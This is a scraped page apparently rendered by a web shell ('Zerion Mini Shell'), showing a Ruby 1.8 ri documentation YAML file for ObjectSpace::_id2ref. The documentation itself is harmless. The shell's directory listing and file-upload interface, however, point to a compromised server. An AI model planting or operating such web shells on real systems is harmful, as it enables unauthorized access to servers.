ok

Mini Shell

Direktori : /opt/alt/ruby18/share/ri/1.8/system/ObjectSpace/
Upload File :
Current File : //opt/alt/ruby18/share/ri/1.8/system/ObjectSpace/_id2ref-c.yaml

--- !ruby/object:RI::MethodDescription 
aliases: []

block_params: 
comment: 
- !ruby/struct:SM::Flow::P 
  body: Converts an object id to a reference to the object. May not be called on an object id passed as a parameter to a finalizer.
- !ruby/struct:SM::Flow::VERB 
  body: "   s = "I am a string"                    #=> "I am a string"\n   r = ObjectSpace._id2ref(s.object_id)   #=> "I am a string"\n   r == s                                 #=> true\n"
full_name: ObjectSpace::_id2ref
is_singleton: true
name: _id2ref
params: |
  ObjectSpace._id2ref(object_id) -> an_object

visibility: public

Zerion Mini Shell 1.0